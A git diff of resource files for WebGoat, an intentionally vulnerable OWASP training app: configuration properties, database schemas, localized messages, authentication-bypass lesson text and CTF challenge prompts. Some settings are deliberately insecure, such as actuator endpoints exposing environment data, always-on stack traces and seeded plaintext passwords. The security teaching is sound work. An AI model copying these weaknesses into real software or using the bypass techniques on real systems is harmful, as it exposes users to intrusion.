+logging.level.org.thymeleaf=INFO +logging.level.org.thymeleaf.TemplateEngine.CONFIG=INFO +logging.level.org.thymeleaf.TemplateEngine.TIMER=INFO +logging.level.org.thymeleaf.TemplateEngine.cache.TEMPLATE_CACHE=INFO +logging.level.org.springframework.web=INFO +logging.level.org.springframework=INFO +logging.level.org.springframework.boot.devtools=INFO +logging.level.org.owasp=DEBUG +logging.level.org.owasp.webgoat=DEBUG + +webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ +webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/ +webgoat.build.version=@project.version@ +webgoat.email=webgoat@owasp.org +webgoat.emaillist=owasp-webgoat@lists.owasp.org +webgoat.feedback.address=webgoat@owasp.org +webgoat.feedback.address.html=webgoat@owasp.org +webgoat.database.connection.string=jdbc:hsqldb:mem:{USER} +webgoat.default.language=en + +webwolf.host=${WEBWOLF_HOST:127.0.0.1} +webwolf.port=${WEBWOLF_PORT:9090} +webwolf.url=http://${webwolf.host}:${webwolf.port} +webwolf.landingpage.url=${webwolf.url}/landing +webwolf.mail.url=${webwolf.url}/mail + +spring.jackson.serialization.indent_output=true +spring.jackson.serialization.write-dates-as-timestamps=false + +#For static file refresh ... and faster dev :D +spring.devtools.restart.additional-paths=webgoat-container/src/main/resources/static/js,webgoat-container/src/main/resources/static/css + +exclude.categories=${EXCLUDE_CATEGORIES:none,none} +#exclude based on the enum of the Category + +exclude.lessons=${EXCLUDE_LESSONS:none,none} +#exclude based on the class name of a lesson e.g.: LessonTemplate + +management.health.db.enabled=true +management.endpoint.health.show-details=always +management.endpoints.web.exposure.include=env, health,configprops diff --git a/src/main/resources/application-webwolf.properties b/src/main/resources/application-webwolf.properties new file mode 100644 index 000000000..eedc0599b --- /dev/null +++ b/src/main/resources/application-webwolf.properties @@ -0,0 +1,48 @@ +server.error.include-stacktrace=always +server.error.path=/error.html +server.port=${webwolf.port:9090} +server.address=${webwolf.host} +spring.application.name=WebWolf + +webwolf.host=${WEBWOLF_HOST:127.0.0.1} + +management.server.port=-1 +server.servlet.session.cookie.name=WEBWOLFSESSION +server.servlet.session.timeout=6000 +spring.flyway.enabled=false + +spring.thymeleaf.prefix=classpath:/webwolf/templates/ + + +spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/webgoat +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect +spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver +spring.jpa.properties.hibernate.default_schema=CONTAINER +spring.messages.basename=i18n/messages +spring.jmx.enabled=false + +logging.level.org.springframework=INFO +logging.level.org.springframework.boot.devtools=WARN +logging.level.org.owasp=DEBUG +logging.level.org.owasp.webwolf=TRACE + +management.trace.http.include=REQUEST_HEADERS,RESPONSE_HEADERS,COOKIE_HEADERS,TIME_TAKEN +management.endpoint.httptrace.enabled=true + +spring.thymeleaf.cache=false + +multipart.enabled=true +multipart.file-size-threshold=0 # +multipart.location=${java.io.tmpdir} +multipart.max-file-size=1Mb +multipart.max-request-size=1Mb + +webgoat.build.version=@project.version@ +webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ +webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver + +spring.jackson.serialization.indent_output=true +spring.jackson.serialization.write-dates-as-timestamps=false + +#For static file refresh ... and faster dev :D +spring.devtools.restart.additional-paths=webwolf/src/main/resources/static/ diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt new file mode 100644 index 000000000..4afc67dea --- /dev/null +++ b/src/main/resources/banner.txt @@ -0,0 +1,6 @@ + __ __ _ _____ _ + \ \ / / | | / ____| | | + \ \ /\ / / ___ | |__ | | __ ___ __ _ | |_ + \ \/ \/ / / _ \ | '_ \ | | |_ | / _ \ / _' | | __| + \ /\ / | __/ | |_) | | |__| | | (_) | | (_| | | |_ + \/ \/ \___| |_.__/ \_____| \___/ \__,_| \__| diff --git a/src/main/resources/db/container/V1__init.sql b/src/main/resources/db/container/V1__init.sql new file mode 100644 index 000000000..b4c3727f7 --- /dev/null +++ b/src/main/resources/db/container/V1__init.sql @@ -0,0 +1,66 @@ +-- This statement is here the schema is always created even if we use Flyway directly like in test-cases +-- For the normal WebGoat server there is a bean which already provided the schema (and creates it see DatabaseInitialization) +CREATE SCHEMA IF NOT EXISTS CONTAINER; + +CREATE SEQUENCE CONTAINER.HIBERNATE_SEQUENCE; + +CREATE TABLE CONTAINER.ASSIGNMENT ( + ID BIGINT NOT NULL PRIMARY KEY, + NAME VARCHAR(255), + PATH VARCHAR(255) +); + +CREATE TABLE CONTAINER.LESSON_TRACKER( + ID BIGINT NOT NULL PRIMARY KEY, + LESSON_NAME VARCHAR(255), + NUMBER_OF_ATTEMPTS INTEGER NOT NULL +); + +CREATE TABLE CONTAINER.LESSON_TRACKER_ALL_ASSIGNMENTS( + LESSON_TRACKER_ID BIGINT NOT NULL, + ALL_ASSIGNMENTS_ID BIGINT NOT NULL, + PRIMARY KEY(LESSON_TRACKER_ID,ALL_ASSIGNMENTS_ID), + CONSTRAINT FKNHIDKE27BCJHI8C7WJ9QW6Y3Q FOREIGN KEY(ALL_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID), + CONSTRAINT FKBM51QSDJ7N17O2DNATGAMW7D FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID), + CONSTRAINT UK_SYGJY2S8O8DDGA2K5YHBMUVEA UNIQUE(ALL_ASSIGNMENTS_ID) +); + +CREATE TABLE CONTAINER.LESSON_TRACKER_SOLVED_ASSIGNMENTS( + LESSON_TRACKER_ID BIGINT NOT NULL, + SOLVED_ASSIGNMENTS_ID BIGINT NOT NULL, + PRIMARY KEY(LESSON_TRACKER_ID,SOLVED_ASSIGNMENTS_ID), + CONSTRAINT FKPP850U1MG09YKKL2EQGM0TRJK FOREIGN KEY(SOLVED_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID), + CONSTRAINT FKNKRWGA1UHLOQ6732SQXHXXSCR FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID), + CONSTRAINT UK_9WFYDUY3TVE1XD05LWOUEG0C1 UNIQUE(SOLVED_ASSIGNMENTS_ID) +); + +CREATE TABLE CONTAINER.USER_TRACKER( + ID BIGINT NOT NULL PRIMARY KEY, + USERNAME VARCHAR(255) +); + +CREATE TABLE CONTAINER.USER_TRACKER_LESSON_TRACKERS( + USER_TRACKER_ID BIGINT NOT NULL, + LESSON_TRACKERS_ID BIGINT NOT NULL, + PRIMARY KEY(USER_TRACKER_ID,LESSON_TRACKERS_ID), + CONSTRAINT FKQJSTCA3YND3OHP35D50PNUH3H FOREIGN KEY(LESSON_TRACKERS_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID), + CONSTRAINT FKC9GX8INK7LRC79XC77O2MN9KE FOREIGN KEY(USER_TRACKER_ID) REFERENCES CONTAINER.USER_TRACKER(ID), + CONSTRAINT UK_5D8N5I3IC26CVF7DF7N95DOJB UNIQUE(LESSON_TRACKERS_ID) +); + +CREATE TABLE CONTAINER.WEB_GOAT_USER( + USERNAME VARCHAR(255) NOT NULL PRIMARY KEY, + PASSWORD VARCHAR(255), + ROLE VARCHAR(255) +); + +CREATE TABLE CONTAINER.EMAIL( + ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY, + CONTENTS VARCHAR(1024), + RECIPIENT VARCHAR(255), + SENDER VARCHAR(255), + TIME TIMESTAMP, + TITLE VARCHAR(255) +); + +ALTER TABLE CONTAINER.EMAIL ALTER COLUMN ID RESTART WITH 2; \ No newline at end of file diff --git a/src/main/resources/db/container/V2__version.sql b/src/main/resources/db/container/V2__version.sql new file mode 100644 index 000000000..3d7a8908a --- /dev/null +++ b/src/main/resources/db/container/V2__version.sql @@ -0,0 +1 @@ +ALTER TABLE CONTAINER.LESSON_TRACKER ADD VERSION INTEGER; diff --git a/src/main/resources/goatkeystore.pkcs12 b/src/main/resources/goatkeystore.pkcs12 new file mode 100644 index 000000000..c7e335790 Binary files /dev/null and b/src/main/resources/goatkeystore.pkcs12 differ diff --git a/src/main/resources/i18n/messages.properties b/src/main/resources/i18n/messages.properties new file mode 100644 index 000000000..5e86bade2 --- /dev/null +++ b/src/main/resources/i18n/messages.properties @@ -0,0 +1,75 @@ +# +# This file is part of WebGoat, an Open Web Application Security Project utility. For details, +# please see http://www.owasp.org/ +#

+# Copyright (c) 2002 - 2017 Bruce Mayhew +#

+# This program is free software; you can redistribute it and/or modify it under the terms of the +# GNU General Public License as published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +#

+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +#

+# You should have received a copy of the GNU General Public License along with this program; if +# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. +#

+# Getting Source ============== +#

+# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software +# projects. +#

+# + +lesson.completed=Congratulations. You have successfully completed this lesson. +assignment.solved=Congratulations. You have successfully completed the assignment. +assignment.not.solved=Sorry the solution is not correct, please try again. +RestartLesson=Restart this Lesson +SolutionVideos=Solution Videos +ErrorGenerating=Error generating +InvalidData=Invalid Data +Go!=Go! +password=Password +password.confirm=Confirm password +username=Username +logged_out=You've been logged out successfully. +invalid_username_password=Invalid username and password. +login.page.title=Login Page +accounts.build.in=The following accounts are built into WebGoat +accounts.table.account=Account +accounts.table.user=User +accounts.table.password=Password +logout=Logout +version=Version +build=Build +report.card=Report card +about=About WebGoat +contact=Contact Us +show.hints=Show hints +lesson.overview=Lesson overview +reset.lesson=Reset lesson +sign.in=Sign in +register.new=or register yourself as a new user +sign.up=Sign up +register.title=Register +searchmenu=Search lesson + + +not.empty=This field is required. +username.size=Please use between 6 and 10 characters. +username.duplicate=User already exists. +password.size=Password should at least contain 6 characters +password.diff=The passwords do not match. +security.enabled=Security enabled, you can try the previous challenges and see the effect! +security.disabled=Security enabled, you can try the previous challenges and see the effect! +termsofuse=Terms of use +register.condition.1=While running this program your machine will be extremely vulnerable to attack.\ + You should disconnect from the Internet while using this program. WebGoat's default configuration binds to localhost to minimize the exposure. +register.condition.2=This program is for educational purposes only. If you attempt \ +these techniques without authorization, you are very likely to get caught. If \ +you are caught engaging in unauthorized hacking, most companies will fire you. \ +Claiming that you were doing security research will not work as that is the \ +first thing that all hackers claim. +terms.agree=Agree with the terms and conditions diff --git a/src/main/resources/i18n/messages_de.properties b/src/main/resources/i18n/messages_de.properties new file mode 100644 index 000000000..13a8b1f2f --- /dev/null +++ b/src/main/resources/i18n/messages_de.properties @@ -0,0 +1,41 @@ +# +# This file is part of WebGoat, an Open Web Application Security Project utility. For details, +# please see http://www.owasp.org/ +#

+# Copyright (c) 2002 - 2017 Bruce Mayhew +#

+# This program is free software; you can redistribute it and/or modify it under the terms of the +# GNU General Public License as published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +#

+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +#

+# You should have received a copy of the GNU General Public License along with this program; if +# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. +#

+# Getting Source ============== +#

+# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software +# projects. +#

+# + +#General +lesson.completed=Herzlichen Gl\u00fcckwunsch! Sie haben diese Lektion erfolgreich abgeschlossen. +assignment.solved=Herzlichen Gl\u00fcckwunsch! Sie haben diesen Auftrag erfolgreich abgeschlossen. +assignment.not.solved=Die L\u00f6sung ist nicht korrekt, versuchen Sie es erneut. + +reset.lesson=Lektion neu anfangen +SolutionVideos=L\u00f6sungsvideos +ErrorGenerating=Fehler beim Generieren von +InvalidData=Ung\u00fcltige Daten +Go!=Los gehts! +username=Benutzername +password=Passwort +password.confirm=Wiederhohl Passwort +sign.up=Anmelden +register.title=Registrieren + diff --git a/src/main/resources/i18n/messages_fr.properties b/src/main/resources/i18n/messages_fr.properties new file mode 100644 index 000000000..737c207fc --- /dev/null +++ b/src/main/resources/i18n/messages_fr.properties @@ -0,0 +1,32 @@ +# +# This file is part of WebGoat, an Open Web Application Security Project utility. For details, +# please see http://www.owasp.org/ +#

+# Copyright (c) 2002 - 2017 Bruce Mayhew +#

+# This program is free software; you can redistribute it and/or modify it under the terms of the +# GNU General Public License as published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +#

+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +#

+# You should have received a copy of the GNU General Public License along with this program; if +# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. +#

+# Getting Source ============== +#

+# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software +# projects. +#

+# + +#General +lesson.completed=F\u00e9licitations. Vous avez termin\u00e9 cette le\u00e7on avec succ\u00e9s. +RestartLesson=Recommencer cette le\u00e7on +SolutionVideos=Solution vid\u00e9os +ErrorGenerating=Error generating +InvalidData=Donn\u00e9e invalide +Go!=Allez le faire! diff --git a/src/main/resources/i18n/messages_nl.properties b/src/main/resources/i18n/messages_nl.properties new file mode 100644 index 000000000..2f4dff687 --- /dev/null +++ b/src/main/resources/i18n/messages_nl.properties @@ -0,0 +1,62 @@ +# +# This file is part of WebGoat, an Open Web Application Security Project utility. For details, +# please see http://www.owasp.org/ +#

+# Copyright (c) 2002 - 2017 Bruce Mayhew +#

+# This program is free software; you can redistribute it and/or modify it under the terms of the +# GNU General Public License as published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +#

+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +#

+# You should have received a copy of the GNU General Public License along with this program; if +# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. +#

+# Getting Source ============== +#

+# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software +# projects. +#

+# +lesson.completed=Gefeliciteerd, je hebt deze les succesvol afgerond. +assignment.solved=Gefeliciteerd, je hebt deze opdracht succesvol afgerond. +assignment.not.solved=Sorry de oplossing is niet correct, probeer het nog eens. +RestartLesson=Herstart de les +SolutionVideos=Video oplossingen +ErrorGenerating=Fout opgetreden tijdens generatie +InvalidData=Ongeldige invoer +Go!=Ga snel aan de slag! +password=Wachtwoord +password.confirm=Herhaal wachtwoord +username=Gebruikersnaam +logged_out=Je bent succesvol uitgelogd. +invalid_username_password=Ongeldige gebruikersnaam/wachtwoord combinatie +login.page.title=Inlog pagina +accounts.build.in=De volgende account zijn standaard beschikbaar binnen WebGoat +accounts.table.account=Account +accounts.table.user=Gebruikersnaam +accounts.table.password=Wachtwoord +logout=Uitloggen +version=Versie +build=Build +report.card=Rapport +about=Over WebGoat +contact=Neem contact met ons op +show.hints=Toon hints +lesson.overview=Overzicht les +reset.lesson=Herstart les +sign.in=Inloggen +terms.agree=Ik ga akkoord met de voorwaarden +sign.up=Registreer +register.title=Aanmelden als nieuwe gebruiker +register.new=of aanmelden als nieuwe gebruiker +termsofuse=Gebruiksvoorwaarden +register.condition.1=Wanneer u WebGoat runt op uw computer, bent u kwetsbaar voor cyber aanvallen. \ + Zorg dat u geen verbinding heeft met internet en dat toegang tot WebGoat alleen lokaal mogelijk is om het aanvalsoppervlak te verkleinen. +register.condition.2=WebGoat is bedoeld als educatieve applicatie op het gebied van secure software development. \ + Gebruik wat u leert om applicaties beter te maken en niet om zonder toestemming applicaties te schaden. \ + In dat laatste geval loopt u risico op rechtsvervoling en ontslag. diff --git a/src/main/resources/i18n/messages_ru.properties b/src/main/resources/i18n/messages_ru.properties new file mode 100644 index 000000000..e24c2b8f4 --- /dev/null +++ b/src/main/resources/i18n/messages_ru.properties @@ -0,0 +1,32 @@ +# +# This file is part of WebGoat, an Open Web Application Security Project utility. For details, +# please see http://www.owasp.org/ +#

+# Copyright (c) 2002 - 2017 Bruce Mayhew +#

+# This program is free software; you can redistribute it and/or modify it under the terms of the +# GNU General Public License as published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +#

+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +#

+# You should have received a copy of the GNU General Public License along with this program; if +# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. +#

+# Getting Source ============== +#

+# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software +# projects. +#

+# + +#General +lesson.completed=\u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e. \u0412\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0448\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0439 \u0443\u0440\u043e\u043a. +RestartLesson=\u041d\u0430\u0447\u0430\u043b\u044c \u0441\u043d\u0430\u0447\u0430\u043b\u0430 +SolutionVideos=\u0412\u0438\u0434\u0435\u043e \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c +ErrorGenerating=\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 +InvalidData=\u041d\u0435\u0432\u0435\u0440\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 +Go!=\u0412\u043f\u0435\u0440\u0451\u0434! diff --git a/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc b/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc new file mode 100644 index 000000000..f5e0fc5bd --- /dev/null +++ b/src/main/resources/lessons/authbypass/documentation/2fa-bypass.adoc @@ -0,0 +1,15 @@ + +== 2FA Password Reset + +An excellent example of authentication bypass is a recent (2016) example (https://henryhoggard.co.uk/blog/Paypal-2FA-Bypass). He could not receive an SMS with a code, so he opted for +an alternative method, which involved security questions. Using a proxy, removed the parameters entirely and won. + +image::images/paypal-2fa-bypass.png[Paypal 2FA bypass,1397,645,style="lesson-image"] + + +=== The Scenario + +You reset your password, but do it from a location or device that your provider does not recognize. So you need to answer the security questions you set up. The other issue is +Those security questions are also stored on another device (not with you), and you don't remember them. + +You have already provided your username/email and opted for the alternative verification method. diff --git a/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc b/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc new file mode 100644 index 000000000..fd5a8b924 --- /dev/null +++ b/src/main/resources/lessons/authbypass/documentation/bypass-intro.adoc @@ -0,0 +1,15 @@ +== Authentication Bypasses + +Authentication Bypasses happen in many ways but usually take advantage of some flaw in the configuration or logic. Tampering to achieve the right conditions. + +=== Hidden inputs + +The simplest form is a reliance on a hidden input in the web page/DOM. + +=== Removing Parameters + +Sometimes, if an attacker doesn't know the correct value of a parameter, they may remove it from the submission altogether to see what happens. + +=== Forced Browsing + +If an area of a site is not appropriately protected by configuration, that area of the site may be accessed by guessing/brute-forcing. diff --git a/src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc b/src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc new file mode 100644 index 000000000..105527d5a --- /dev/null +++ b/src/main/resources/lessons/authbypass/documentation/lesson-template-video.adoc @@ -0,0 +1,7 @@ +=== More Content, Video too ... + +You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this, though. + +video::video/sample-video.m4v[width=480,start=5] + +see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax diff --git a/src/main/resources/lessons/authbypass/html/AuthBypass.html b/src/main/resources/lessons/authbypass/html/AuthBypass.html new file mode 100644 index 000000000..914bd2064 --- /dev/null +++ b/src/main/resources/lessons/authbypass/html/AuthBypass.html @@ -0,0 +1,86 @@ + + +

+ + +
+
+ +
+ + +
+
+
+ + + + + + +
+
+
+
+
+
+ diff --git a/src/main/resources/lessons/bypassrestrictions/i18n/WebGoatLabels.properties b/src/main/resources/lessons/bypassrestrictions/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..bff117c72 --- /dev/null +++ b/src/main/resources/lessons/bypassrestrictions/i18n/WebGoatLabels.properties @@ -0,0 +1,4 @@ +bypass-restrictions.title=Bypass front-end restrictions + +bypass-restrictions.intercept.success=Well done, you intercepted the request as expected +bypass-restrictions.intercept.failure=Please try again. Make sure to make all the changes. And case sensitivity may matter ... or not, you never know! diff --git a/src/main/resources/lessons/challenges/challenge7/git.zip b/src/main/resources/lessons/challenges/challenge7/git.zip new file mode 100644 index 000000000..0e01d46f0 Binary files /dev/null and b/src/main/resources/lessons/challenges/challenge7/git.zip differ diff --git a/src/main/resources/lessons/challenges/css/challenge6.css b/src/main/resources/lessons/challenges/css/challenge6.css new file mode 100644 index 000000000..6a8635ae6 --- /dev/null +++ b/src/main/resources/lessons/challenges/css/challenge6.css @@ -0,0 +1,96 @@ +.panel-login { + border-color: #ccc; + -webkit-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2); + box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.2); +} +.panel-login>.panel-heading { + color: #00415d; + background-color: #fff; + border-color: #fff; + text-align:center; +} +.panel-login>.panel-heading a{ + text-decoration: none; + color: #666; + font-weight: bold; + font-size: 15px; + -webkit-transition: all 0.1s linear; + -moz-transition: all 0.1s linear; + transition: all 0.1s linear; +} +.panel-login>.panel-heading a.active{ + color: #029f5b; + font-size: 18px; +} +.panel-login>.panel-heading hr{ + margin-top: 10px; + margin-bottom: 0px; + clear: both; + border: 0; + height: 1px; + background-image: -webkit-linear-gradient(left,rgba(0, 0, 0, 0),rgba(0, 0, 0, 0.15),rgba(0, 0, 0, 0)); + background-image: -moz-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0)); + background-image: -ms-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0)); + background-image: -o-linear-gradient(left,rgba(0,0,0,0),rgba(0,0,0,0.15),rgba(0,0,0,0)); +} +.panel-login input[type="text"],.panel-login input[type="email"],.panel-login input[type="password"] { + height: 45px; + border: 1px solid #ddd; + font-size: 16px; + -webkit-transition: all 0.1s linear; + -moz-transition: all 0.1s linear; + transition: all 0.1s linear; +} +.panel-login input:hover, +.panel-login input:focus { + outline:none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + border-color: #ccc; +} +.btn-login { + background-color: #59B2E0; + outline: none; + color: #fff; + font-size: 14px; + height: auto; + font-weight: normal; + padding: 14px 0; + text-transform: uppercase; + border-color: #59B2E6; +} +.btn-login:hover, +.btn-login:focus { + color: #fff; + background-color: #53A3CD; + border-color: #53A3CD; +} +.forgot-password { + text-decoration: underline; + color: #888; +} +.forgot-password:hover, +.forgot-password:focus { + text-decoration: underline; + color: #666; +} + +.btn-register { + background-color: #1CB94E; + outline: none; + color: #fff; + font-size: 14px; + height: auto; + font-weight: normal; + padding: 14px 0; + text-transform: uppercase; + border-color: #1CB94A; +} +.btn-register:hover, +.btn-register:focus { + color: #fff; + background-color: #1CA347; + border-color: #1CA347; +} diff --git a/src/main/resources/lessons/challenges/css/challenge8.css b/src/main/resources/lessons/challenges/css/challenge8.css new file mode 100644 index 000000000..b3e74d70d --- /dev/null +++ b/src/main/resources/lessons/challenges/css/challenge8.css @@ -0,0 +1,43 @@ +.btn-grey{ + background-color:#D8D8D8; + color:#FFF; +} +.rating-block{ + background-color:#FAFAFA; + border:1px solid #EFEFEF; + padding:15px 15px 20px 15px; + border-radius:3px; +} +.bold{ + font-weight:700; +} +.padding-bottom-7{ + padding-bottom:7px; +} + +.review-block{ + background-color:#FAFAFA; + border:1px solid #EFEFEF; + padding:15px; + border-radius:3px; + margin-bottom:15px; +} +.review-block-name{ + font-size:12px; + margin:10px 0; +} +.review-block-date{ + font-size:12px; +} +.review-block-rate{ + font-size:13px; + margin-bottom:15px; +} +.review-block-title{ + font-size:15px; + font-weight:700; + margin-bottom:10px; +} +.review-block-description{ + font-size:13px; +} \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/db/migration/V2018_09_26_1__users.sql b/src/main/resources/lessons/challenges/db/migration/V2018_09_26_1__users.sql new file mode 100644 index 000000000..a04639ac4 --- /dev/null +++ b/src/main/resources/lessons/challenges/db/migration/V2018_09_26_1__users.sql @@ -0,0 +1,11 @@ +--Challenge 5 - Creating tables for users +CREATE TABLE challenge_users( + userid varchar(250), + email varchar(30), + password varchar(30) +); + +INSERT INTO challenge_users VALUES ('larry', 'larry@webgoat.org', 'larryknows'); +INSERT INTO challenge_users VALUES ('tom', 'tom@webgoat.org', 'thisisasecretfortomonly'); +INSERT INTO challenge_users VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**'); +INSERT INTO challenge_users VALUES ('eve', 'eve@webgoat.org', '**********'); diff --git a/src/main/resources/lessons/challenges/documentation/Challenge_1.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_1.adoc new file mode 100644 index 000000000..36e25fe5a --- /dev/null +++ b/src/main/resources/lessons/challenges/documentation/Challenge_1.adoc @@ -0,0 +1 @@ +The admin forgot where the password is stashed, can you help? \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/documentation/Challenge_5.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_5.adoc new file mode 100644 index 000000000..0102ca98f --- /dev/null +++ b/src/main/resources/lessons/challenges/documentation/Challenge_5.adoc @@ -0,0 +1 @@ +Can you login as Larry? \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/documentation/Challenge_6.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_6.adoc new file mode 100644 index 000000000..1e1e61ac2 --- /dev/null +++ b/src/main/resources/lessons/challenges/documentation/Challenge_6.adoc @@ -0,0 +1 @@ +Can you login as Tom? It may be a little harder than it was for Larry. \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/documentation/Challenge_7.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_7.adoc new file mode 100644 index 000000000..cb66a4329 --- /dev/null +++ b/src/main/resources/lessons/challenges/documentation/Challenge_7.adoc @@ -0,0 +1 @@ +Try to reset the password for admin. diff --git a/src/main/resources/lessons/challenges/documentation/Challenge_8.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_8.adoc new file mode 100644 index 000000000..1d51b75c0 --- /dev/null +++ b/src/main/resources/lessons/challenges/documentation/Challenge_8.adoc @@ -0,0 +1 @@ +Can you still vote? \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/documentation/Challenge_introduction.adoc b/src/main/resources/lessons/challenges/documentation/Challenge_introduction.adoc new file mode 100644 index 000000000..990f386b4 --- /dev/null +++ b/src/main/resources/lessons/challenges/documentation/Challenge_introduction.adoc @@ -0,0 +1,29 @@ +=== Welcome to the WebGoat challenge (CTF) + +==== Introduction + +The challenges contain more a CTF like lessons where we do not provide any explanations what you need to do, no hints +will be provided. You can use these challenges in a CTF style where you can run WebGoat on one server and all +participants can join and hack the challenges. A scoreboard is available at link:/WebGoat/scoreboard["/WebGoat/scoreboard",window=_blank] + +:hardbreaks: +In this CTF you will need to solve a couple of challenges, each challenge will give you a flag which you will +need to post in order to gain points. + +Flags have the following format: `a7179f89-906b-4fec-9d99-f15b796e7208` + +==== Rules + +- Do not try to hack the competition infrastructure. If you happen to find a bug or vulnerability please send us +an e-mail. + +- Play fair, do not try sabotage other competing teams, or in any way hindering the progress of another team. + +- Brute forcing of challenges / flags is not allowed. + +:hardbreaks: +*Have fun!!* +Team WebGoat + + +image::images/boss.jpg[] \ No newline at end of file diff --git a/src/main/resources/lessons/challenges/html/Challenge.html b/src/main/resources/lessons/challenges/html/Challenge.html new file mode 100644 index 000000000..713d902f3 --- /dev/null +++ b/src/main/resources/lessons/challenges/html/Challenge.html @@ -0,0 +1,9 @@ + + + + +
+
+
+ + diff --git a/src/main/resources/lessons/challenges/html/Challenge1.html b/src/main/resources/lessons/challenges/html/Challenge1.html new file mode 100644 index 000000000..f69942f38 --- /dev/null +++ b/src/main/resources/lessons/challenges/html/Challenge1.html @@ -0,0 +1,63 @@ + + + + +
+
+
+
+
+
+ +
+
+
+ +
+
+
+ +
+ + +
+
+ + +
+ +
+
+
+
+ +
+
+
+
+ +
+
+ +
+
+ +
+ + +
+
+
+
+
+ + + diff --git a/src/main/resources/lessons/challenges/html/Challenge5.html b/src/main/resources/lessons/challenges/html/Challenge5.html new file mode 100644 index 000000000..9a6f42348 --- /dev/null +++ b/src/main/resources/lessons/challenges/html/Challenge5.html @@ -0,0 +1,90 @@ + + + + + +
+
+ +
+
+
+
+
+ +
+
+
+
+
+
+
+
+ +
+
+ +
+
+ +
+ +
+
+
+
+
+ + diff --git a/src/main/resources/lessons/challenges/html/Challenge6.html b/src/main/resources/lessons/challenges/html/Challenge6.html new file mode 100644 index 000000000..1a906c0a6 --- /dev/null +++ b/src/main/resources/lessons/challenges/html/Challenge6.html @@ -0,0 +1,123 @@ + + + + + +
+
+ + +
+
+
+
+
+ +
+
+
+
+
+
+
+
+ +
